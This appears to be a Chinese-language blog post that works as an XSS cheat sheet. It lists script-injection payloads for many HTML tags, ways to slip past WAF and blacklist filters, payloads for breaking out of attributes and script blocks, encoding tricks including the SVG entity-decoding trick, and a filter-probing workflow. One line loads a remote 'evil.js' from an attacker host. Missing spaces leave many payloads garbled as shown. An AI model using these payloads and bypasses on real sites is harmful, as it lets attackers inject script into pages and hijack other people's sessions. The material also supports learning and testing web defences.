XSS常用payload

scirpt标签用于定义客户端脚本,比如JavaScript

<script>alert(1);</script>

<script>alert("xss");</script>

 

img标签定义HTML页面中的图像

<imgsrc=1onerror=alert(1);>

<imgsrc=1onerror=alert("xss");>

 

input标签规定了用户可以在其中输入数据的输入字段

<inputonfocus=alert(1);>

<inputonblur=alert(1)autofocus><inputautofocus>

<inputonfocus="alert(1);"autofocus>


details标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle事件规定了在用户打开或关闭<details>元素时触发:

<detailsontoggle=alert(1);>

<detailsopenontoggle=alert(1);>


svg标签用来在HTML页面中直接嵌入SVG文件的代码

<svgonload=alert(1);>


select标签用来创建下拉列表

<selectonfocus=alert(1)></select>

<selectonfocus=alert(1)autofocus>


iframe标签创建包含另外一个文档的内联框架

<iframeonload=alert(1);></iframe>


video标签定义视频,比如电影片段或其他视频流。

<video><sourceonerror=alert(1)>


audio标签定义声音,比如音乐或其他音频流。

<audiosrc=xonerror=alert(1);>


body标签定义文档的主体

<bodyonload=alert(1);>

onscroll事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><inputautofocus>


textarea标签定义一个多行的文本输入控件。

<textareaonfocus=alert(1);autofocus>

 

marquee标签

<marqueeonstart=alert(1)></marquee>//Chrome不行,火狐和IE都可以


isindex标签

<isindextype=imagesrc=1onerror=alert(1)>//仅限于IE


利用link远程包含JavaScript文件

<link>标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:

<linkrel=importhref="http://47.xxx.xxx.72/evil.js">


利用JavaScript伪协议

javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

a标签

<ahref="javascript:alert(1);">xss</a>

iframe标签

<iframesrc=javascript:alert(1);></iframe>
img标签

<imgsrc=xonerror=alert(1)>

<imgsrc=javascript:alert(1)>//IE7以下

form标签

<formaction="Javascript:alert(1)"><inputtype=submit>


XSS常见绕过姿势


绕过空格过滤

当空格被过滤了时,我们可以用/来代替空格:

<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);>

绕过引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

<imgsrc=xonerror=alert(`xss`);>

绕过括号过滤

当括号被过滤的时候可以使用throw来绕过。throw语句用于当错误发生时抛出一个错误。

<imgsrc=xonerror="javascript:window.onerror=alert;throw1">

<aonmouseover="javascript:window.onerror=alert;throw1>

绕过关键字过滤

大小写绕过

<sCRiPt>alert(1);</sCrIpT>

<ImGsRc=xonerRor=alert(1);>

双写绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<scrscriptipt>alert(1);</scrscriptipt>

<imimggsrsrcc=xonerror=alert(1);>

字符串拼接绕过

利用eval()函数与PHP的eval()函数相同,JavaScript的eval()函数也可以计算JavaScript字符串,并把它作为脚本代码来执行

<imgsrc="x"onerror="a='aler';b='t';c='(1)';eval(a+b+c)">

<imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

//在js中,我们可以用反引号代替单双引号

利用top

<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>


XSS输出点总结

WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。

输出在属性里

 

例如输出的位置位于value属性中:

<inputvalue="[输出]"type=text>
我们可以选择直接闭合标签:

"><imgsrc=xonerror=alert(1);>
//输出后如下:
//<inputvalue=""><imgsrc=xonerror=alert(1);>"type=text>
如果<>被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:

"autofocusonfocus=alert(1)//
"autofocusonfocus=alert(1)"
//输出后如下:
//<inputvalue=""autofocusonfocus=alert(1)//"type=text>
同样还有很多其他的payload:

"onmouseover=prompt(0)x="
"onfocusin=alert(1)autofocusx="
"onfocusout=alert(1)autofocusx="
"onblur=alert(1)autofocusa="
还有一些特殊的场景,如:

<inputtype="hidden"value="[输出]"/>
<inputvalue="[输出点]"type="hidden"/>
这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本。

输出在HTML标签之间

例如输出的位置如下:

<divid="body">[输出]</div>
直接提交<script>alert(1)</script>即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:

?<title></title>
?<textarea></textarea>
?<xmp></xmp>
?<iframe></iframe>
那么就得先把那个标签闭合(后文会讲到原理),然后在注入XSS语句,例如:

</textarea><script>alert(1)</script>

输出在script标签之间

例如:

<script>
varx="input";
</script>
可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:

";alert(1)//
//输出后如下:
//<script>varx="";alert(1)//";</script>
XSS字符编码绕过

在XSS中,还有一个绕过关键字过滤的方法,那就是字符编码绕过。这里给出一个编码网站:https://bianma.bmcx.com/

请求网页解码流程

HTML编码/解码
当浏览器接收到服务端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的就是我们看到的源代码。具体的解码方式依具体情况而定,所以我们需要在页面中指定编码,防止浏览器按照错误的方式解码,造成乱码。

但是在HTML中有些字符是和关键词冲突的,比如<、>、&,解码之后,浏览器会误认为它们是HTML标签,如果希望正确地显示预留字符,就需要在HTML中使用对应的HTML字符实体。

字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开头,后面跟着一个预定义的实体的名称,或用&#开头+实体编号+分号来表示。

常见的HTML字符实体有:

显示结果描述实体名称实体编号

空格&nbsp;&#160;
<小于号&lt;&#60;
>大于号&gt;&#62;
&和号&amp;&#38;
"引号&quot;&#34;
'撇号&apos;(IE不支持)&#39;
但并不是所有的字符都有实体名称,但是它们都有自己的实体编号。

一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个<符号(后面没有跟/符号)就会进入标签开始状态(Tagopenstate),然后转变到标签名状态(Tagnamestate)、前属性名状态(beforeattributenamestate)......最后进入数据状态(Datastate)并释放当前标签的token。当解析器处于数据状态(Datastate)时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

简单的说就是,浏览器对HTML解码之后就开始解析HTML文档,将众多标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析。

所以在PHP中,使用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护作用。

URL解码

URL编码是为了允许URL中存在汉字这样的非标准字符,本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。

在服务端接收到请求时,会自动对请求进行一次URL解码。

JavaScript解码(只支持Unicode)
当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如<script>、<style>这样的标签时,解析器会自动切换到JavaScript解析模式,而src、href后边加入的javascript伪URL,也会进入JavaScript的解析模式。

比如<ahref="javascript:alert('\u0031')">test</a>,JavaScript出发了JavaScript解释器,JavaScript会先对内容进行解析,里边有一个转义字符\u0031,前导的u表示他是一个unicode字符,根据后边的数字,解析为“1”,于是在完成JavaScript的解析之后变成了<ahref="javascript:alert('1')">test</a>。

 


SVG:XSS的一个黑魔法

我们在上文HTML编码那里最后留了一个坑,即HTML的五类元素中,像<script>、<style>这样的原始文本元素在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,所以并不会被解码为相应的字符。

也就是说,向下面这样的代码,浏览器不会对其中的HTML实体字符进行解码,也就不会执行并触发XSS了:

<script>alert("xss")</script>
<script>alert(1)</script>
<script>alert(1)</script>
那如何绕过HTML原始文本元素进而执行HTML实体解码呢,这涉及到了<svg>的魔力,那是一种特殊的触发效果,单纯script标签内加载html实体编码,只会当做文本,没有任何触发结果。

但是当在前面加上<svg>后,却成功弹窗了:

<svg><script>alert("xss")</script>
<svg><script>alert(1)</script>
<svg><script>alert(1)</script>

<svg>标签属于HTML五大元素中的外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释,也就是说在解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。而在这一套新的标准遵循XML解析规则,在XML解析中,实体编码会自动解码成相应的字符,重新来一遍标签开启状态,此时就会执行XSS了。如下图,弹窗后我们查看页面源码。发现原本不能被HTML解码的内容被<svg>标签自动解码了:

 

XSS测试流程思路

下面让我们来看一下XSS绕过的测试流程。

现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:

1.暴力测试(输入大量的payload,看返回结果)
2.根据正则推算
3.利用浏览器bug
初步测试

(1)尝试插入比较正常的HTML标签,例如:<a>、<b>、<i>、<u>等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。

(2)尝试插入不闭合的标签,例如:<a、<b、i>、u>、<img等,然后看一下返回响应,是否对开放的标签也有过滤。

(3)然后测试几种常见的XSS向量:

<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
......
看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了alert、prompt、confirm等字符,再尝试大小写的组合:

<scRiPt>alert(1);</scrIPt>
(4)如果过滤器仅仅是把<script>和</script>标签过滤掉,那么可以用双写的方式来绕过:

<scr<script>ipt>alert(1)</scr<script>ipt>
这样当<script>标签被过滤掉后,剩下的组合起来刚好形成一个完整的向量。

(5)用<ahref标签来测试,看返回响应

<ahref="http://www.baidu.com">click</a>
看看<a标签是否被过滤,href是否被过滤,href里的数据是否被过滤了。如果没有数据被过滤,插入javascript伪协议看看:

<ahref="javascript:alert(1)">click</a>
看是否返回错误,javascript的整个协议内容是否都被过滤掉,还是只过滤了javascript字符。

继续测试事件触发执行javascript:

<ahref=xonmouseover=alert(1)>ClickHere</a>
看onmouseover事件是否被过滤。

测试一个无效的事件,看看他的过滤规则:

<ahref=xonclimbatree=alert(1)>ClickHere</a>
是完整的返回了呢,还是跟onmouseover一样被干掉了。如果是完整的返回的话,那么就意味着,做了事件的黑名单,但是在HTML5中,有超过150种的方式来执行javascript代码的事件,我们可以选用别的事件。测试一个很少见的事件:

<bodyonhashchange=alert(1)><ahref=#>click</a>
onhashchange事件在当前URL的锚部分(以'#'号为开始)发生改变时触发。

 

posted @ 2021-06-04 17:03  我有清茶与酒  阅读(7245)  评论(0编辑  收藏  举报